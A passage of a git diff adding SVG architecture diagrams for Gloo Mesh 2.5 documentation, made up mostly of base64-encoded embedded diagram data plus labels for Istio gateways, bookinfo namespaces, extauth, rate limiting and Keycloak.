lXFxcIlx1MDAxZPyLK11tq2dsyZiJryZISqKZIHSzYJ3tti6QXHUwMDFjMaWp3l9nkSCld1tRXHUwMDA1naynq5e9OqlUe5nk7ftFdNHloTlwd7S8O1x1MDAxYfZBZ7Wi6u7l9fmyX1fj2OhtbCmDv9IqZJrouC1cdTAwMWJP9y/3V7l30TpcdTAwMTbVRmtcdTAwMGLj3qGyrFx1MDAxN1H/XHUwMDAyP1xm74uJXHUwMDE4SuC3zlx1MDAxNsZcdTAwMTUnIz3J3ORq7cJcdTAwMDdcdTAwMWRcdTAwMTVj+q1xwrcwbmKUPc/dxFx1MDAxZS6fT8SkSj7kS/PSsm3/Yio7lGGXwXf/XHUwMDA37lx1MDAxMb4rZfc4I0WoUZzh4XvwekZcdTAwMTe+k1x1MDAwMJjAlYNDwYQvauKgJVx1MDAxNkrwXHUwMDFkpu5GXHUwMDEwvSda3e5RpjpofLnHeVx07l1cdTAwMDTv81x1MDAxM91cdTAwMDC7M6vLWTNOXHUwMDAxvKtcdTAwMTWCnESvnunU4qfTbmFy2SxeTVpvXHUwMDEzXHUwMDBiW1x1MDAxZVx1MDAwNHbnRMOblCNu+j7wXHUwMDFkZbKs53BGmjCw9mU0sXv8Ma6oyFx1MDAxNV8rZ82n6b3MXHSSL26uSL+x+06X97CG3VnwxUGtwqFcZrs0SsL3gXuErDogSIJIXCIpXHUwMDE2K/Q8XG5ez4OErJxcdEeE0Y5fhFilVFx1MDAxNFx1MDAxM/VHuZtTg2Gz++VgdVx00FtcdTAwMDSrn5NcXItcdTAwMTGVtFZ8UlhRxalcdTAwMGVvOp7m3l/w+Uf8XHUwMDA0Np2knzBcdTAwMWGdqFx1MDAwMzj54cj5zYVELFx1MDAwNishXHUwMDFh7uRn02AlV2Lubz6k3nRcdTAwMTfEmMZcdTAwMTRFXHUwMDE0mj68Zc+L+cZTJpWrd4X6QJPCyzRcdTAwMWNs2ERcdTAwMDf58nnoqk+X1Xq148/krlx1MDAwNImvXHT3/zmX9ZQqtyeuXHUwMDAx6SpQulwiPDM/5PDgvFu8yWdcdTAwMWaL49fHbDHRbUW/eoJkxDHtp0w1XHUwMDFkQuaVKlx1MDAwMf50c/ruXHUwMDAyXHUwMDBmpU/yqVx1MDAxZi9zRFx1MDAwNaZ6f3W/g3i59lJcdTAwMWK8dF/vxJC9XHUwMDE3Lmmym0dxSyn96PDyWas5tyP75OWfc1x05GV7pTZGrNysTHUypWn4PPLgvYyk90hLXHUwMDEzryi0lIJTtlBcdTAwMDZcdTAwMDVheI9cdTAwMGJlgiAklUE9QTc5+CWm7I2QmmOMXHRWLonxWZjRwdL4lLHSJkRRe7icIJi+KSXxL2mjZauJXHUwMDE2rC+O3M2yTPtLpbnUgC+xiS5y3fWzXHUwMDE3XHUwMDFmc4gggiolpMKmLsnPOyyF2lx1MDAwZbau0rGdxszloa7P8f5y/1xcXHUwMDE1Klx1MDAxMGHNv5VcdTAwMTIwMFx1MDAwZm98J6tcdTAwMTcqL29cdTAwMWHTi/xNq5SaPufLp+P1cII1XHUwMDE4ulJcdTAwMWM0qlsus1x1MDAwNCTGXHUwMDA0omZ94XWxVJpiXHUwMDBlglx1MDAxNTdcdFx1MDAxYlx1MDAxNFxm8F15p33yb72VXoEyXHUwMDAwrpBcdTAwMWRC/q/Lv1xyrciLo2FcdTAwMDNcdTAwMTTqtPpPZ9ioXHUwMDFl9atvo+rAX7F/eTlWy9xcdTAwMDI5cclJXHUwMDExs7EjZlx1MDAxY/Sbkjw8cs+WMne52Fx1MDAxMzqPX02eXHUwMDFm8/3XXHUwMDE33XuKuLLHUjv6k1x1MDAxZOfVPaUmn2hr7Ljd7Fx1MDAwNKZcdTAwMTBcdTAwMTIgo6OZnKBcdTAwMWFcdTAwMTdZ8lxceW6op9T0oVa4XHUwMDFmsOSrP4j/PitafdxcdTAwMWQt7/ewOzyC2lWU12Gt7qFcZrvsaMv/gZ/Delx1MDAwNOzuXHUwMDEzgIn9bGvWvVx1MDAwM67w8Dp4QaPqhjP4OUCdc+LwbanzraRTKKBcdTAwMDCt5Vx1MDAxZZX4XHUwMDFlzrcuqpNyq1t89Vx1MDAwNdU7a79cdTAwMTdcZk5cdTAwMTeh9u85XHUwMDA28mKAXHUwMDE3zVxurCXGmislw6dPjNi4Mnm+eWW343g/e90+ezvLdqNv6Vx1MDAxMobtvEgoZ3O8KDfhRXuhKeTDh8rb04RyzJSAfTlQUzekr1xmXHUwMDE3k+nTq1x1MDAxOLs+q1RT5IXmWO8s5tJu7v5cdTAwMDGYgHUomDnR4IK4XG6nXHUwMDFk/XKWUVx1MDAwNymkpNZmglhR+vNcdTAwMDaLr8w2qcFcdTAwMDfFXHUwMDE3tWL5XHUwMDBly1E9Kcbv5WuXI2d+UoSaNlxusFmEwNZcdTAwMTJcdTAwMWZcdTAwMDdcdTAwMWVZOqk13HSLjP6lnjpB/jP3q1j6XHTs3iz4XZGlXHUwMDFmcTHK7HeqPj/yl/vn6qKQW2GJqUrCKNLho1GleFXpt4fcvS7m9cOTjMVf2snIi0KlMVx1MDAwZlx1MDAxMoVcdTAwMDJ9gSiUfpBEc+lo1+Uq9/er35owneF2XHUwMDE5gVx1MDAxM1x0yVx1MDAxOFpcYplusoxLMZOOXHUwMDE05IyPXGaijqtcdTAwMTeGXHUwMDA0kFx1MDAxNyxcdTAwMThcdTAwMGb3XHUwMDEwgfE5qVx1MDAwMZS87CNcdTAwMTTNPcJDfytKXHUwMDFka3iRsKavXHUwMDEyXHUwMDA1XHUwMDAyR1x1MDAwMk2HXHUwMDE2OpcjieRl4lx1MDAxYVx1MDAwNq1ePmSrjD+MclE3hVx1MDAxNJfIoZIxrqgkhC+EJGCQSFx1MDAwNCHCNaNcdTAwMDaR2lvKYSVYMbjhVKApRPzaynmDXHUwMDEygJew4O5cdTAwMWV0h2tcdK3a9+1o3O2/2tu+fXlcdTAwMDCBd1rrqX6gMnv7caGIaYPAwvPhe6vIPmpJys9cdTAwMDbX9GP0fEJcbomyhVx1MDAwZiNyvqCEJFx1MDAwZSh1QFx1MDAwMCDq6EKtXSArXHUwMDA3a1xyeoRRXHUwMDEzkmNX/CGY0Fx1MDAxYU0guCO56fWuQVx1MDAxMmCmfcpbY0RcdTAwMWRcdTAwMDJ3gNCg8CSOPDiAUqkwdkO1g4ZcdTAwMDH2Tkk2gDBttcpcdTAwMGbNWP2+1H6e1PPlbOpucutcdTAwMGZcdTAwMTCoXHUwMDE2XHUwMDAyRKpUhMG+alfLol9cdTAwMDBcdTAwMDE7SmnJiTaxJLD/v9TeRkbK3mCAlcDM5SWtkCr+XHUwMDA3z1x1MDAwN7eTtomgXHUwMDFmTcmQcKgtvpYgJVxcoJu74lx1MDAxMn5cdTAwMDNmpJxcdTAwMWZ9JGav0ufMnINcdTAwMTb9vENxXHUwMDExIFx1MDAwZbaB5bdi32wg5HbM879sXHUwMDBlXHRcdTAwMWIjXHUwMDA0V1x1MDAxZVxm91x1MDAwM75ZVYqBdlqSUK61Rfkyxz3rSJgth+ewuVx1MDAwZsB3cj7JXGZel1x1MDAwZUD0XHUwMDAy9VL3eJRcdTAwMTLHNVx1MDAxYVF06YCgqlx1MDAxZNdcZqica6/o4YSl41nZy1xcjFq/r4euQorK5VwiPvVYvyo9N9tx0lx1MDAxZSfUSJXLXHUwMDE3TeQn4k3LT45cdTAwMTDjQlwiTiRTkrlcdTAwMTbjp5DXXHUwMDBlYVJRREDAc0NFXHUwMDFlXHUwMDE5XHUwMDFmSu9cdTAwMDS34Z7TO0wxsGw4RXxW4JQwz5ykw4XWsHem+LhUyNvxc1x1MDAxZK3yQ3z/9XNP/i72erkhsM/vL/X3e7M6PrVcdTAwMDdE/PVzXHUwMDAyRrxVzVf5n//963//P6lZo3QifQ== + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClientauthorizethe requestKeycloakhttpbin workspace \ No newline at end of file diff --git a/gloo-mesh/platform/2-5/default/images/steps/gateway-external-service/gloo-mesh-gateway-external-service.svg b/gloo-mesh/platform/2-5/default/images/steps/gateway-external-service/gloo-mesh-gateway-external-service.svg new file mode 100644 index 0000000000..a4287e3dea --- /dev/null +++ b/gloo-mesh/platform/2-5/default/images/steps/gateway-external-service/gloo-mesh-gateway-external-service.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19WVdcItuy7vv6XHUwMDE1jjqvm7yzb86botJcYlwi2CDcdVx1MDAwN4NOWulcdTAwMDXxjPPfb0yqSlx1MDAxMshMkk6TKnLvjbtcdTAwMDQjJzNnRHzR/88/Z2c/RtNe9cd/n/2ovpeL7UZlUJz8+I/5/bg6XHUwMDE4NrpcdTAwMWR4i8z+Pey+XHLKs0/WR6Pe8L//z/8p9nrW/K+scvf1519W29XXamc0hM/+X/j32dn/zF5t91x1MDAxYVTLo2Kn1q7O/mD21vx2UrHl3952O7NbY1wiXHUwMDE1XHUwMDE3XHUwMDFjXHT6+YnG8Fx1MDAxMu43qlbg7Zdie1idv2N+9UOOlZg+15+6OpMp4Fx1MDAwNOKVbjQ9v+1Lo92+XHUwMDFmTds/v1ixXFx/XHUwMDFi2Fx1MDAxNjVcdTAwMWNccrqtarZRXHUwMDE51c3dl37/+XfDLmzB/K9cdTAwMDbdt1q9U1x1MDAxZJpcckCfv+32iuXGaGrooPlvf+6C/XPv8C8lKLOI4lx1MDAxMrPZ6+eb5s8p5lx1MDAxNmNcXHNNXHUwMDE0IYTxpWWFu+3uwCzrv5jmiMv5wkrFcqtcdTAwMDar61TmnyFElapi/pnJry9cdTAwMGKUrV93N69CzW9TrzZq9ZH5jMLWfJHwOn8sw+rsiVx1MDAxMKRcYsJcZsn5O2ZcdTAwMDG9WGV+On7SVJdcdTAwMGbZVJM+Xby1efymXHUwMDFmKTTuXHUwMDFlfvx6//8tb3y9OOj92uBcdTAwMWaz72P7juafV8sn0H5cbm2H4yMzvVx1MDAxZSTDscwoXHUwMDFhylxya9ejyeT5+pPWwpEtXHUwMDBlXHUwMDA23cmPz3f+9z9edMOVdGHwkuj3WDzRSyanLTp8XHUwMDE2/uiufOW3XqX483hjwbRQWDKk9JxF2o1OXHUwMDBi3uy8tdvz33XLrTlH/GNb8GasqIQ7K1wihblcdTAwMTbwdH2z4qhcdTAwMWV/nZy/J6bRSWHQXHUwMDFjtsLjq2v0dayIt2RFRiwmXHUwMDA11si8KrnIi0xYXHUwMDFjK42I0JgxXHUwMDBmXkRKvvCSNy9iUlLKiVx1MDAxN5GyiO1iwoFcdTAwMTeJsLT9Ysu8qFxmXHUwMDFmckTxwVhxaP6xJSuW0336kruOZmqVay3uXHUwMDFlnlx1MDAxMiyR2lx1MDAwMyuGUlx1MDAxMZlpIZJcdTAwMWZWwq1SXHUwMDFjRd/wOHyMrMilOytKKVx1MDAxNNHcNycmXHUwMDEzN4NO47w4vH9cYkXbpVqnXcf3gedEJZFFQftLPXtdUYqSYUyYxlRcYkFcdTAwMGWiXHUwMDE0MSFogcuUk1JcXOE8zFx1MDAwNUJcdTAwMTRcdTAwMTEtXHUwMDBmxnq7aMFG8/E5fkGT43ohXHUwMDFlXHUwMDFmplx1MDAxYrnq5KO9XHUwMDA31ruU3YzMX3VahWaqXHUwMDEw4sOXV6L0MbKeXHLXLLGeklJLwpT2zXrtx+tRt3s9fmrpWnSQZtcvnUjgWU9jie2sp1x1MDAxNnmPKZ+89/1KXHUwMDEwOFFcdFx1MDAwMKv6YJz4TUowUFx1MDAxYyNcdHbjXHUwMDE4glxioYT6Z5hoTvVcdTAwMWZvxrXKezzWyYWRvKZcdTAwMGYy8Fxmw7G2XHUwMDAwakkmZq9kgWFAXGZaxFx1MDAxZsPMLk+GXHUwMDE5XHKKnWGvOIDztco0SstFhljlXHUwMDE5pYglbFx1MDAxN19mXHUwMDE54DUpMcfBNOFE7e2ynn16zzWL/VhcdTAwMGVcdTAwMTcuXHUwMDBihXO1XHUwMDA35TUsPupcdTAwMTRuNzIvLJW+eFx1MDAxMDR1S/t7oLuDyVx1MDAxOShcdTAwMTbn1Fx1MDAxZI9cdTAwMTKqqKZcXErfTF7JVNPtSmR4XHUwMDFkvyhcZq9QXGKfd0Qt6ExcdTAwMGWQnFx1MDAwN4LJXHUwMDE1Xc/keJmtNaegyJn6PkxcdTAwMWGMg6yocD3ImGFOtNhAWyVvy0mRmk7L70J86M6LeJ1e3Vx1MDAwNv4gKy0s5WZZMXY86Fx1MDAwZWnG4UhcdTAwMWZOVVx1MDAwNdHF8aeoXHUwMDE0IVxc7SymXHUwMDE5UVxiU/9cdTAwMWGldnfxOHh8eU8+1FqXd7XndknEU1/HiNv6/fFMoygkkVx1MDAxMEov2lmCYoszIVx1MDAxMFfwtpaHcfxjKdhcdTAwMDKb0VVOpDZcdTAwMWTz28eBXHUwMDA00lx1MDAwNFPKXHUwMDBmxnu7wMSb+E08d1x1MDAxMZaF5nu+2UuGp1x1MDAwM8GujpBHOOduPKI4xYIq5p9HknX6RC7yuYvk9UDmapnrt4tBNujKSlx1MDAwM650R12CK7+oa1x1MDAwN20lXHUwMDExWoe4MFlBXFxCY1x1MDAwMiqWnHxcdTAwMGZcdTAwMDfVXCLUNWYlpYmBKOY/ZJVcdTAwMTaYVlqj2kRXLiOp27tkf3j7cFx1MDAwNFx1MDAxY6LcOVx1MDAwNFx1MDAwZaBcdTAwMDVcdTAwMDaaQlx1MDAxY1x1MDAxOElcdTAwMTJcdTAwMWL+3zOHOFx1MDAwMDhcdTAwMDB5yH6txIux1lgrzlx1MDAwMlx1MDAxYaRK1sehRDjZqIYuXHUwMDFmi1x1MDAxZrX3RCHRXHUwMDFmXHUwMDFlIY9w6WrzXHUwMDAwemb+syvqtFCeZuSlTlx1MDAwZlx1MDAxMyn2Uq6nXHUwMDEyaeHCXHUwMDFmS+d8kTvY13FcdTAwMDfWzJ07qFx1MDAxMj6tXHUwMDFkJUhVl725o1RlpUrJXHUwMDAxY1x1MDAwMcRyYYRPZuGrXHUwMDEwXHUwMDBiTFx1MDAxYoZcdTAwMDBnXHUwMDA1kzkuXHUwMDFhyUTkgZGOjpWKrWjuLl3UXWfmXHUwMDE4Vd9Hfq1cdTAwMWI5apSG1Vx1MDAwZkXiz4328+tLqPpM2Vx1MDAxZaymq0I6jJMsPumWkvjueaRvou/3e6BbXHUwMDFll1wi8rJz0Xxo0HtcdTAwMTWdPjTDV6U90D3Q9p7IXHUwMDFhXHUwMDBienh+TlLTiyd1UcelVu0pVbjHwX1mydbNy+1r+uNjejM5r7zmOvSug3Za7sIq/uP3i3yfdltYpz/FRlx1MDAxMKdKS+Q/S8L76Vx1MDAwNVx1MDAxNfxcdTAwMDGE8lBvXHUwMDA2/PlSby+za3unNCirVZ3G5lx1MDAwZY3fOk1cdTAwMTHGXHRX8vuMon1cdTAwMWXa+eHodkb3jY+fXHUwMDA3b+G318XXRnu68Hxnp9kkYnRqXHUwMDAzWPTZv51cdTAwMWGsY1Kc2rd/WIXbz1x1MDAxMNriXHUwMDFmnrdcdTAwMWK1zkzxwFx1MDAxN6pcdTAwMGVcdTAwMTa4YtQoXHUwMDE3259cdTAwMWZ4bVQqdjxYhtVcdTAwMTSB5iDmXHUwMDA3y3VcdTAwMDeNWqNTbD8sLfb3UrdHo1x1MDAwMrv6NDBXWFOklH+nxl0jme5/vIc77dFI9oudu+iNdHNqXHUwMDA0XHUwMDA3klx1MDAxMneeZYpcdTAwMDRcdTAwMTeSXHUwMDEyathcdTAwMDSpYEJSXe9f3vP2/aCPXHUwMDBik3YjeZkvjt5OkHRfkPRA23sgsvipU1x1MDAxNuWnQqlZzYbReSR9gSa3f90uXHUwMDFjXHUwMDBi2XWI1PmGwUOkgrnnSWBBiDZBV9/KzXubg1x1MDAwYkk9PPZM+fXYf1x1MDAxMSQliDGT0v99QeTgINJqcTiaVIejb4Kka7DcMiT9XFzt7phUIXe21aZcdTAwMWWK2Vx1MDAwZsjaylx1MDAxN1x1MDAxMitexCOT24/qy6TWTmVCsfx4XHUwMDFiTPqVdS9cdTAwMDBcYsEuo1xiMLi0p67//HtcdTAwMTNn00IoxIQmxJZPu0V2075BqYano6RcbqifNJMqXtW60e6oX4/IcTvLXHUwMDBi9cTNXHSU7lx1MDAwYpRcdTAwMWVoe4+LbFx1MDAxODVcdTAwMWZcdTAwMTTX6U4jP1x1MDAwZVfuu7m3i8zktLlcdTAwMDElu1x1MDAwZes63zB4WFdx17R/ylx1MDAxMFx1MDAwMVx1MDAxY4j960zvXVx1MDAwZSjUXHUwMDA1ram9tKbklpxrTaKWXHUwMDE2dmCsS1Yr05RQVEqCXHUwMDBll1x1MDAwNXw8YLcxXHUwMDFjNbpcdTAwMTVHgIvlwqf3XHUwMDA2cNdcdTAwMDDDXHUwMDE1n+vPXHUwMDE17lx1MDAwMGuxa4olXHUwMDA2VGtcdTAwMWOt/pNjdHxQXHUwMDE5JqIjXFzQr/fDp8Hje4SVgo1qNUHaXCKcwumaveIl/lx1MDAxNNhiSEpcctyLKKU75ey7Z1huhWq5gFx1MDAwNTPEglx0alPo4ryJXHUwMDFhtfxccnl6REROabPtUkN6XHUwMDAytZvTPdD2XHUwMDFliOyTTmtF1UOzlU9cZmpqcvnWnzT3sFx1MDAwYslcdTAwMDZcbr3Keu6x+Xh7P1x1MDAxNu2QqNb3Uaj8gMqyVkSDXHUwMDFi/DR6LEYuUVx1MDAwNPc7e6B7z25Dw0mt1E3etVx1MDAxM8nQa+ElS1x1MDAxMnug+9FcYvNcXCWmiySTUWxcdTAwMTjrXHUwMDE20lx1MDAwZpd/3Sk7XHUwMDE2suvQvfNccudkV0T3d6F75o5cdTAwMWQoVppcboH9h2m9tzmg8F5cdTAwMTPMPOGDsPRcdTAwMWM+LFx1MDAwN5C/PrlcdTAwMDLsLc5cdTAwMTklJ3R/9iPS7nbPktVh/ezfTrG2sK1f4Mleg5WXgf58sT+Xulx1MDAxNcNcbtuJWEmGUnCWXHUwMDEx1/4rXHUwMDFis29ccpK5bl+95uXl7bjUuk2WasWgMyxGjEtLUFx1MDAwNsDfvNoyTVxmXHUwMDAxzojFXHSYwCZriirk7sVcdTAwMDZDmVx1MDAxNb1z4T05lnCHVjG2ytPfXHUwMDFjKzAjfKFEIUgoP1iVho7yQC381kNcdTAwMWWUut1Wo/PSPZt0XHUwMDA3LXhu5aqjQCB84S/9XHUwMDBihFG35yZcclx1MDAxNr7TMus7rMuT+39utFx1MDAwM/tjjF0rYSjihC5kkq9jf+9HXHUwMDFmSGNcdTAwMWaYn2rD/IxpLbRE8+2YMT/HXHUwMDE2iFx1MDAwNYokl6atpLu69sH87sY+2O1cdTAwMTZBnCGpJNe2qrC5W05bSCsmYVx0XGJcdTAwMDP3I5vb4ZftXHUwMDBm3KHIXHUwMDAxi2K+slTfto7iYHTR6FRcdTAwMWGdXHUwMDFhvDmXN787iP5Und5ccmBmjF5+m9XcWlRcdTAwMDL4YohjXCKFkLZcblmzZcWe2WtiXHRAm4hqKrUgVPz6wCd4/1HtVNavybvM37YmbMEhJIRyXGZ6RlxuMu+JYV9cdTAwMTKjXHUwMDAyUUkkJkrCWVlZU7s4XHUwMDFjhbuvr41cdTAwMTFs/V230Vx1MDAxOS1v8Wwvz40oqFeLKzJcdTAwMDa+k/29ZZnRM1x1MDAxNFx1MDAxN8/S/P+dzblq9o/P/////uP46ZDriTfX6lmf0/vH/nPjzG9Cln87XHUwMDA3O0zB/nPtX9o9XVx1MDAwZiPpxFx1MDAwYi9kmuX0XHUwMDFiivYznddJ4KWd8MhcIlx1MDAxNVx1MDAxYe2xjYNr11jmXHUwMDAwc+SKPDNccvGIQPZmQ3+ERNtcdIiEXlx1MDAwNvBBYNXhv51O8bXqjknEtkbKrpjEeYnb8atwrdRcdTAwMDBtXHUwMDBi0pBy/7HC3NV58jr1Ulx1MDAxZcmrq5TOt3t3g2g98OwqscXd2FVcdLrHOnZXdqVcdTAwMGWV66vsqlx1MDAxOeVcZlx1MDAxZjJIuEtrh2BcdTAwMTXl7klcdTAwMTaYp1x1MDAxOGxR4LTC7VxmXHUwMDE1e1x1MDAxYtVlx1wiwDhMleL+q7a8+1x1MDAxOFx1MDAwNFVcdTAwMTZcYmlhrmatXVx1MDAxNF3q+1wiKbVcdTAwMTQjYFx1MDAwMSiMXHUwMDA0t3dZ36MswFJYXFxrplx1MDAwMb4xJm1cdTAwMTU3n5JcdTAwMDGBSEJIczClXHUwMDA0SC9gjFVcdTAwMDeGYmB0XHT6jd1cdTAwMDK/wlZZRtc+LFx1MDAwNs9eK1x1MDAwYlZcZlhcdTAwMGLC9Fx1MDAwMIKnSYi9Q8OnyYCN20pSwTDAa1x0ZoU+cpPB7ezN3nU4dlx1MDAxYlx1MDAxYVxy7j5cdTAwMTLq0eFeIWZGLGzgJPFWRYGVPcKiXHUwMDE0M01cdTAwMTVfbjllXHUwMDFhw8EvNeNcdTAwMDKejp3dXHUwMDBmKHmIQz5cdTAwMDSyNKFgTYJ5XGbrlYivpDIxKamBUocrJFxyguBxXHUwMDEzL95cYnhBvCCNsFx1MDAxNpJj04dX4Hnl7ad4MeY7XCJcdTAwMWNEXHUwMDBiMS5cdTAwMGJEV6SLL5Hn3TxncU1Ea2ByXHUwMDAxz5dcImD2VcdccsaW/FxcXHUwMDE016BcdTAwMDf/LJE3P/Szv1857lx1MDAxYko891x1MDAxNE20/Nt5XHUwMDEwXHUwMDE3YVx1MDAwNNaIf7Pr/E3VI/1eKEqeX1Umn+5k68NW8ENCXHUwMDE0wJZWYNCI2euiV5gwbmFNOSAxIUyaprvM2zkmJP3GhIxgxvL7orif93Awv4LV5X838+tX3dAwaDEhh3Vth3dcdTAwMDDMeHS7XHUwMDA1nWBEjn+84/3sXHUwMDAzincoZ5bxyUumOIjfxVx1MDAxNG0z0oozaVK0kdZcdTAwMDK599jcJShEXHUwMDE4teA9Y84xiYCQw3AtQS1GiOZYUXhqq/2bMYY1KnzIVmlBXHUwMDA2PN66Z1x1MDAwMVxcUKNlYZtNU1Vi+8QvYEEtXHUwMDBlm1xmwIJoLMTcuNg0JOQ5U2dhQVhiUzvH4aBRJW0qZr4obSlcbv9hyvS9RYSwlUVcdTAwMWRcdTAwMTXacT/w5lo+6lx1MDAxYmJcdTAwMWTvVnc2XHUwMDBm2XJcdTAwMTCcM0qNXHUwMDFi1re8K3RcdTAwMWHx9PVj4a51w6M8kjp/f0+6XHJcdTAwMTNcZkpvXHUwMDExwFx1MDAwZVx1MDAxZVEhxS2m99VbZDmtbdfeXCJcbmmqXHUwMDBm6EnaXHUwMDA19lxcv/RcdTAwMTOP+lx1MDAxOb2JJ373LPLTp0TDJVx1MDAwNzdcYlx071x1MDAxN/VhW/ZcdTAwMWH5RF5cXODioNBLZ+vve6CbeFx0R15uy5VQ8aV5+SaHvDq8v9hcdTAwMDPdXHUwMDAzbe+J7CHIrstwdr7hQe1cdTAwMDBPheFcdTAwMWGTpK45XHUwMDA0mFx1MDAxMkE1aG3/XHST3ttcdTAwMWNQ61ibwKN772BELL0vdbEuw3mtylgtZ1x1MDAxNJgrg1wivi97Mjj5zr1Bt/JWXHUwMDFl9Yo1ZyP2UCWNazDSsmlrX+ZcdTAwMGUoz5bIvDqNSHJiUsJ8c+6DeCtXqtfj3PtTpVRcdTAwMWJev3beU1uFXHUwMDEwv1x1MDAxMOZcdK+uxlx1MDAwMKT2x7f7hnlCcjDQaDC9W+HbUJaiu4d8efJYzffPpei6dYbdqD/DYchcdTAwMWVcdTAwMWJ6XHUwMDFjVOLFRqU25JVxKtspvuRiJJzbXHUwMDAz3eN6an852XXo0fmGXHUwMDAxRI/atY0pIVJotEEg2XuTg4pcdTAwMWSFV+thReT+XFxcclv0vliZa8lcdTAwMTCjXGLDik5g8UelXG5cdTAwMTCuPXRcdTAwMDaKauHje1x1MDAwM4prUNYyUPy9xO1BouDusVx1MDAwZlx0Vlx1MDAwM1x1MDAxY9pcckZfqFwijeaeSXQkS1FcdTAwMWNcdTAwMTVq+JqfXHUwMDA231x1MDAxN+hcdTAwMDFcdTAwMTI14cFcdTAwMDWJSlJhZlx1MDAxM1x1MDAxZS5hfFx1MDAxN5R4TotPsjxcdTAwMWS/s36KXFzT+qB+3s/vrmqPi+yhwNyBlvvC+53yLe+FW2NcdTAwMTSN9aP55E0swMv9y8muXHUwMDAzic43XGZcdTAwMWVIXHUwMDE03N1RoTlCUiPm38Xovc1BhYmKe8BEzei3wsTVXHUwMDE2aYiauSGHXHUwMDFjbHk8OHFQXHUwMDFjNTo1XHUwMDE3nHggh+JcdTAwMWGgtYxcdTAwMTN/L3FcdTAwMTec6Fx1MDAxYTLGXHUwMDAyc1x1MDAwM1x1MDAxM7X/eoRcdTAwMDedvb1PNy5cdTAwMTO90lMtr9+vU7HMY7BxXCJ8giBcdTAwMGZLXHUwMDBlo1x1MDAwMFx1MDAwM0XFpcBBjVx1MDAxYYdcIlRcdTAwMTaq6Hxwr8lzvnlbyPeliyNtXHUwMDEzdXtcXGRcdTAwMGZcdTAwMTUzPtByXHUwMDBmXHUwMDA1XHUwMDE0j+uhXHUwMDFkXHUwMDBi2XVA0fmGQVx1MDAwNIruRXGEUo0421x1MDAwMCh6b3NAgaJRQ9zLoaiC5VCUglFkXHUwMDFmXHUwMDA2/Vx1MDAxN+PE6rhRnXyxP9FcdTAwMWJoreDEX0v05E73wjHmVUihkebw6p8/vVx1MDAwM2xcdTAwMWLx5zJcdTAwMWJcdTAwMWPSkNPY4lxcI5PUqexMMstcdTAwMTXh0jLdpbHJu0WUu/fW2pU9XHUwMDE1tThcdTAwMTVcXHJYXHUwMDA1XFzaIZmaXHUwMDExSyNcdTAwMDXPXHUwMDA1XHUwMDAwPFF0lXdcdFWMsz+tXHUwMDFmhc9cXGrvlI2zeeqyKcXk2Fx1MDAxNGgxXHUwMDA1XCKXSOnQYlx1MDAwN1PTh1x1MDAwN2uKuaBcdTAwMDK+wGqllq+Eau/4wOKqKDZ6XHUwMDAwlmZcdTAwMWP5aC5hPlx1MDAxN6Utglx1MDAxOcNCKEKZqSNdWdNR5VO7XHUwMDFleXOtXHUwMDFj9jm5f+w/N1x1MDAxN3qculvGnCpJXHUwMDA0Q/6FnrdcdTAwMWRcdTAwMTBUoaelsKSSiHN4XHUwMDAyyNak5KfQ05ZcdTAwMDEkiEpFXHUwMDExkctgaX9CT8KNXHUwMDE0p1x1MDAxMoOprkyx2qrQo9KSmjBJmJpVcq7IPMyQUPqQnq0/QuqBeFHSVFxmacUxU9KWqzRcdTAwMTd6zFx1MDAxMlx1MDAxNMSeUkLDsVBCbin0PEHM4qJcdTAwMDCDXHUwMDAw5NRUc8VMVaPTopCkkinBQFVcdTAwMDOHrlx1MDAxNvJcdTAwMWWT1HM98uZaPuxcdTAwMWLKvDXZha55wYBcdTAwMWHg2qRotlx1MDAxMZo+Np9z+edhq5hqj87D3W7hNeimmDKpXHUwMDFkrs2KhEA+LTE/bVx1MDAwMjApXHUwMDAxXHUwMDE3OUg8ZNyOtmtV4mGyUibHtZBw8sn3ZXl83sPB/eHdrGbhhG7kW8K43Xt5y0zQfVwiNlx1MDAxOb5+ZN/bo9ZcdTAwMWXoXiVypV54OuxcdTAwMTfj2VZD9Fx1MDAxYjfjlM/O8ytbeWDHireLX7iG4Uykh4F08e/hL92l4pdvV5dcXKabSTVO98LpWCHwXHUwMDFjbdjJlaNBx/l08e/I0as8XGay3c3v/9nWXFyD5jMjllx1MDAwMsnTwepHtlx1MDAwM48g92pcdTAwMThcdTAwMDNtXHUwMDAx5GL/XHUwMDE5jenGNDycPj9Hp7jSqiF5S27e3dqHXHUwMDA3JFxmprTy6NAnlNzjWPZ9R8G0XHUwMDE2WJCAjmVv9MK5iIp3pjf5bu9cdTAwMWFnM7SfduGQIGS/T3Op4bCXvU+2Olx0la1fdDRKjfZAl3Sb6elVszbIoFQ8klx1MDAxYV7EXHUwMDBi6ec90D3Q9lx1MDAxZYhsLiXakUiuIN9cdTAwMTLdYSr3qFxu/drgr9uFYyG7LrzmfMPv03Du7WddXHUwMDAxIOF05trx78jy3uWgXHUwMDAyQK2EXHUwMDA3XHUwMDAwRNxn/9nvqfTUXHUwMDEyTDqGT8G2//6+Ss81kO4wlZ6CusbFpVx1MDAxNCaFUvkv9OzX48/NWCckQrw5bWVKpVL99SrgoFx1MDAxNI6XR9toTPbHtntcdTAwMDelWEqtNfk+nvVSlfVy+byQzbApP7+9kFNUmzaj1d018IHIXHUwMDFlXHUwMDFk1lx1MDAxZOlcdTAwMTBTNJPOXHUwMDE3ebb+/vFUXHUwMDFlo8c90D2up3ZcIntcYrLrMKnzXHKDh0mFe/tcdTAwMTGOKCFII/9OSe9dXHUwMDBlKiZVhHgoN6L353HZR8KXomauXGaTJ1x1MDAxMPo9XHUwMDE1pGvg21x1MDAwMSpItetcYlSplOmVvEGXkZuLj/BYXVxcjlx1MDAwN6FKsvn2kX1h58mAg08tPcCnJiqw4JMgkyZDXHUwMDAzWj+q6H34dfrUT4xT2f6EoN5t/7Kwu6Y9LrKHgojHtVx1MDAwYieyhyC7XHUwMDBlXCI63zCAXHUw